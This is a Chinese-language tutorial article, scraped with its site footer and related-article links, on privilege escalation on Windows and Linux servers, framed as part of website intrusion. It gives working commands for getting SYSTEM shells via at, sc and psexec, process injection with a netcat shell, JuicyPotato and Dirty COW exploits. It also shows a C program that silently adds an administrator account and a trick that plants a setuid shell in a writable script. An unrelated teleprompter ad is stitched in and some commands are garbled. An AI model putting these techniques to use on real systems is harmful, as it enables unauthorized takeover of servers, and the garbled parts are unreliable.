提权

提权是指在服务器中提升自己权限的操作,常见于网站入侵过程中,通过利用各种漏洞上传shell,从而获取服务器的控制权。

操作系统的安全基础在于用户空间和内核空间的隔离。内核空间是内核代码运行的地方,而用户空间是用户程序代码运行的地方。这样设计的目的是确保用户程序崩溃时不会影响内核。当进程在内核空间运行时,它处于内核态;在用户空间运行时,则处于用户态。

账号分类包括:

本地系统帐户(SYSTEM):具有完全系统访问权限,是计算机的超级帐户。本地服务帐户(LOCAL SERVICE):类似于经过认证的用户帐户,具有与Users用户组成员相同的资源和对象访问权限。网络服务帐户(NETWORK SERVICE):类似于经过认证的用户帐户,具有与Users用户组成员相同的资源和对象访问权限。

用户在登录时获取权限令牌,而服务账号无需用户登录,会在后台自动启动服务。不同账号的权限各不相同。

在Windows系统中,用户分为三类:user(普通用户)、administrator(管理员)和system(系统管理员)。在Linux系统中,用户分为两类:user(普通用户)和root(管理员)。

Windows系统的权限分为三种:user(普通用户权限)、administrator(用户管理员权限)和system(系统管理员权限)。Linux系统的权限分为user(普通权限)和root(管理员权限)。

提权

提权

提权类别包括本地提权、配置提权和漏洞提权。

本地提权

AT命令提权:首先以administrator身份打开cmd,然后输入

at 10:21 /interactive cmd

,在10:21时会打开一个cmd窗口。

提权

提权

提权

SC命令提权

sc Create syscmd binpath="cmd/k start" type= own type= interactsc start  syscmd

system服务名字可以任意取,binpath是执行的路径。

内核提权

psexec -i -s -d cmd

提权

注入进程提权

pinjector.exe -p 2152 cmd 12345

注入进程提权的流程:首先在靶机上的身份是administrator,靶机IP是172.16.11.141。进入靶机中

pinjector.exe

所在的根目录,然后使用

pinjector.exe -l

查看可以注入的进程,选择你想注入的进程。

pinjector.exe -p 1444 cmd 5432

-p是选择注入的进程的pid,这里的5432是端口

提权

提权

提权

nc  172.16.11.141 5432

提权

提权

提客AI提词器 提客AI提词器

「直播、录课」智能AI提词,搭配抖音直播伴侣、腾讯会议、钉钉、飞书、录课等软件等任意软件。

提客AI提词器 64 查看详情 提客AI提词器

漏洞提权

烂土豆提权:属于令牌提权,限制条件包括需要支持SeImpersonate或SeAssignPrimaryToken权限,开启DCOM本地支持RPC或远程服务器支持PRC并能成功登录,能够找到可用的COM对象。

webshell版脚本:

Juicypotato.exe –p whoami

脏牛提权:属于Linux内核提权。下载现成的exp(https://www.php.cn/link/59893fe5a442e62984d00a242eefc32d。

gcc -pthread dirty.c -o dirty -lcrypt

巴西烤肉

net localgroup administrators admin123456 /add

利用配置不当提权

与利用漏洞提权相比,此方法更常用。大部分企业会对系统的漏洞及时进行补丁更新,很难通过系统的漏洞进行入侵。查找系统中以system权限启动的服务或应用,可以尝试将其替换或反弹shell的方式提权。可以查找NTFS权限允许users修改删除的应用,利用配置不当进行提权。代码中是否有过滤参数的操作等都可以加以利用,进行提取。

使用icacls软件(Windows):

icaclsicacls c:windows*.exe /save perm /Ti586-mingw32msvc-gcc -o admin.exe admin.c   //因为exe要给windows用所以这里使用i586-mingw32msvc-gcc这个编译

admin.c:

#includeint main(){  int i;  i=system("net localgroup administrators a /add");  return 0;}

只要管理员点击admin.exe,就会将用户a添加到管理员组。

Linux

找到配置不当的文件

方法1:

find / -perm 777 -exec ls -l {} ;   

-perm 777:指定权限为777的文件,-exec ls-l:对匹配的文件执行ls -l命令,{} ;是格式。

方法2:

find / -writable -type f 2 >/dev/null | grep -v "/proc/".

/proc:下多为系统启动的程序,一般不会有普通用户有可执行权限的程序。

在目标文件里添加脚本:如第一步找到了usr文件下的123.sh符合条件,即 /usr/123.sh,就在123.sh里添加

chmod u+s /bin/dash

。然后当管理员执行这个脚本的时候

sh /usr/123.sh

,普通用户就可以使用dash获得管理员权限

/bin/bash

。还可以从应用系统的配置文件、应用连接数据库的配置文件下手。

其它提权方式

数据库提权

MySQL提权

UDF提权:需要知道root账号密码,适用于Win2000、2003系统,且需要secure_file_priv函数打开。利用自定义函数功能,将MySQL账号换为系统system权限。MOF提权:适用于Win2003以下版本,且secure_file_priv参数不为null。反弹shell提权

SQL Server提权

有sa权限。有dba权限。

Redis提权:未授权访问,可以通过webshell、上传公钥、反弹shell等方式提权。

Oracle提权:有dba权限执行系统命令。

第三方软件/服务提权

Windows开机时会有一些开机启动的程序,这些程序的权限都是system,因为是system把它们启动的。利用这点,可以将自动化脚本写入启动项,达到提权的目的。

以上就是提权的详细内容,更多请关注创想鸟其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/345678.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2025年11月5日 20:19:17
下一篇 2025年11月5日 20:19:55

相关推荐

  • 解决“回到顶部”按钮在滚动时未显示的问题

    本文旨在解决网页中“回到顶部”按钮在滚动时无法正确显示的问题。通过分析常见的滚动事件监听误区,特别是当 body 元素被设置为 overflow: hidden 而实际滚动发生在其他容器时,文章将详细介绍如何使用 window.scrollY 或针对特定滚动容器的 scrollTop 属性来准确检测…

    2025年12月20日
    000
  • javascript如何实现数组协程处理

    javascript实现数组协程处理的核心是使用async/await和promise结合并发控制机制,1. 定义异步任务函数processitem用于处理数组元素;2. 实现processarray函数,通过running计数器和index索引控制并发数量,确保最多concurrency个任务同时…

    2025年12月20日 好文分享
    000
  • javascript闭包如何生成序列化函数

    闭包的核心价值在于为序列化函数提供私有且持久的环境以维护状态,如通过weakmap追踪已访问对象来处理循环引用;2. 利用闭包可实现循环引用检测,即在外部函数中创建weakmap记录遍历路径,内部序列化函数通过闭包访问该map进行重复对象判断;3. 自定义类型处理通过闭包捕获配置选项实现,如日期、正…

    2025年12月20日 好文分享
    000
  • javascript闭包怎样处理动画帧状态

    闭包通过封装动画状态实现状态持久化和实例隔离,防止意外修改的方法包括:1. 使用 const 和 let 明确变量可变性;2. 对对象状态使用 object.freeze() 冻结属性;3. 传递状态时采用深拷贝(如 json.parse(json.stringify()) 或 _.clonedee…

    2025年12月20日 好文分享
    000
  • js 怎样实现轮播图

    实现轮播图的核心是控制图片的显示与隐藏及动画流畅性,1. 通过html构建图片容器和控制按钮,2. 使用css的flex布局和transform配合transition实现图片滑动效果,3. 利用javascript控制图片索引(counter)并绑定前后切换逻辑,4. 添加自动轮播功能并通过mou…

    2025年12月20日 好文分享
    000
  • setTimeout和setImmediate在事件循环中的执行顺序是怎样的?

    1.settimeout和setimmediate的执行顺序取决于事件循环阶段。在主模块代码中,settimeout(fn, 0)通常先执行,因为事件循环从timers阶段开始,随后进入check阶段执行setimmediate;但在i/o回调中,setimmediate几乎总是优先,因为事件循环在…

    2025年12月20日 好文分享
    000
  • 如何避免 React Native FlatList 的重复渲染

    在 React Native 开发中,FlatList 是一个常用的组件,用于高效地渲染大型列表数据。然而,不当的使用方式可能会导致不必要的重复渲染,进而影响应用性能。其中一个常见的原因是在 useEffect 钩子中设置了不正确的依赖项,导致 API 请求陷入无限循环。 理解问题的根源 问题的核心…

    2025年12月20日
    000
  • React应用中Axios异步数据顺序渲染问题解析与优化

    本文旨在解决React应用中因Axios异步请求和状态更新机制不当导致的UI元素渲染顺序错乱问题。通过深入分析错误的异步处理模式,如在循环中进行非同步状态更新,并提出使用async/await语法结合Promise.all进行批量数据获取和一次性状态更新的优化方案。此方法能确保数据按预期顺序加载并渲…

    2025年12月20日
    000
  • React应用中处理并发数据请求:避免状态乱序与优化渲染性能

    本教程探讨React应用中因并发数据请求导致UI元素乱序渲染的问题。通过分析错误的异步状态更新模式,本文将详细阐述如何利用Promise.all和async/await协调多个API调用,确保数据按预期顺序加载并一次性更新组件状态,从而实现稳定且高效的UI渲染。 理解并发数据请求的陷阱 在react…

    2025年12月20日
    000
  • WebGPU Rust与JavaScript通信:实现交互式渲染的规范方法

    本文探讨了WebGPU与Rust WebAssembly集成时,如何实现JavaScript与Rust之间的数据通信,以支持交互式渲染。针对#[wasm_bindgen(start)]无法接收参数的限制,文章提出了一种规范且推荐的解决方案:将主入口函数定义为普通的#[wasm_bindgen]导出函…

    2025年12月20日
    000
  • React Native Stack Navigator:统一设置所有屏幕的样式

    本文旨在介绍如何在 React Native 中使用 react-navigation 库的 Stack.Navigator 组件时,统一设置所有屏幕的头部样式。通过使用 screenOptions 属性,可以避免在每个 Stack.Screen 组件中重复定义相同的样式,从而提高代码的可维护性和简…

    2025年12月20日
    000
  • React Navigation StackScreen:统一设置所有屏幕的样式

    本文旨在解决React Native中使用React Navigation库时,如何为StackNavigator中的所有StackScreen统一设置样式的问题。通过screenOptions属性,可以轻松地为StackNavigator下的所有屏幕设置默认的header样式,避免在每个Stack…

    2025年12月20日
    000
  • 使用 window 对象上的外部库的最佳实践

    本文探讨了在 JavaScript 代码中依赖于全局 window 对象上的外部库时,如何处理类型定义和确保库加载完成的最佳实践。通过声明全局接口扩展 window 对象,可以解决编译问题和方便测试中的模拟。同时,使用动态脚本加载和 onload 事件监听,可以确保在库加载完成后再执行依赖代码,避免…

    2025年12月20日
    000
  • 使用 p5.js 预加载 JSON 数据中的图片

    本文旨在解决 p5.js 中预加载 JSON 数据,并根据 JSON 数据中的文件名列表加载图片资源的问题。由于 loadJSON() 和 loadImage() 都是异步函数,直接使用会导致图片未加载完成就开始执行后续代码。本文将介绍如何利用 loadJSON() 的回调函数确保在所有图片加载完成…

    2025年12月20日
    000
  • 基于HTML、JavaScript与Bootstrap的销售数据统计与展示教程

    本教程旨在指导读者如何使用HTML、JavaScript和Bootstrap构建一个交互式网页,用于输入并分析汽车经销商的季度销售数据。文章详细讲解了如何通过JavaScript收集表单数据,并计算每季度总销售额、每位销售代表的最高单季度销售额,以及每位销售代表的平均销售额,最终将结果动态展示在Bo…

    2025年12月20日
    000
  • javascript如何创建指定长度的数组

    创建指定长度的javascript数组有多种方法,1. 使用new array(length)会创建稀疏数组,元素为空槽位,无法被foreach、map等方法遍历;2. 使用array.from({ length: n })可创建填充undefined的数组,且支持映射函数,适合需要初始化值的场景;…

    2025年12月20日 好文分享
    000
  • js如何操作摄像头

    javascript操作摄像头主要通过navigator.mediadevices.getusermedia() api实现,需在https安全上下文中运行;2. 核心步骤包括请求媒体流、处理用户权限、将流绑定到video元素并及时停止释放资源;3. 常见问题有权限拒绝(notallowederro…

    2025年12月20日 好文分享
    000
  • js如何获取cookie的值

    要获取特定cookie值,需通过解析document.cookie字符串实现,具体步骤为:1. 使用document.cookie获取所有cookie组成的字符串;2. 按分号和空格分割成数组;3. 遍历数组并去除每项开头空格;4. 通过encodeuricomponent(name)+&#8221…

    2025年12月20日
    000
  • JavaScript用户输入验证:确保数据有效与非空

    本文旨在探讨JavaScript中如何对用户通过prompt函数输入的字符串进行有效性验证,确保输入非空且符合预期的数据类型(如数字)。通过结合while循环、类型转换以及isNaN()等方法,我们将构建健壮的输入处理逻辑,提升程序的稳定性和用户体验,避免因无效输入导致的运行时错误。 在web应用开…

    2025年12月20日
    000
  • React Native Stack Navigator:统一设置屏幕样式

    在 React Native 的 Stack Navigator 中,我们经常需要在多个屏幕上应用相同的头部样式,例如背景颜色、标题颜色、字体大小和对齐方式。为了避免在每个 Stack.Screen 组件中重复编写相同的样式代码,我们可以利用 screenOptions 属性来统一设置屏幕的默认选项…

    2025年12月20日
    000

发表回复

登录后才能评论
关注微信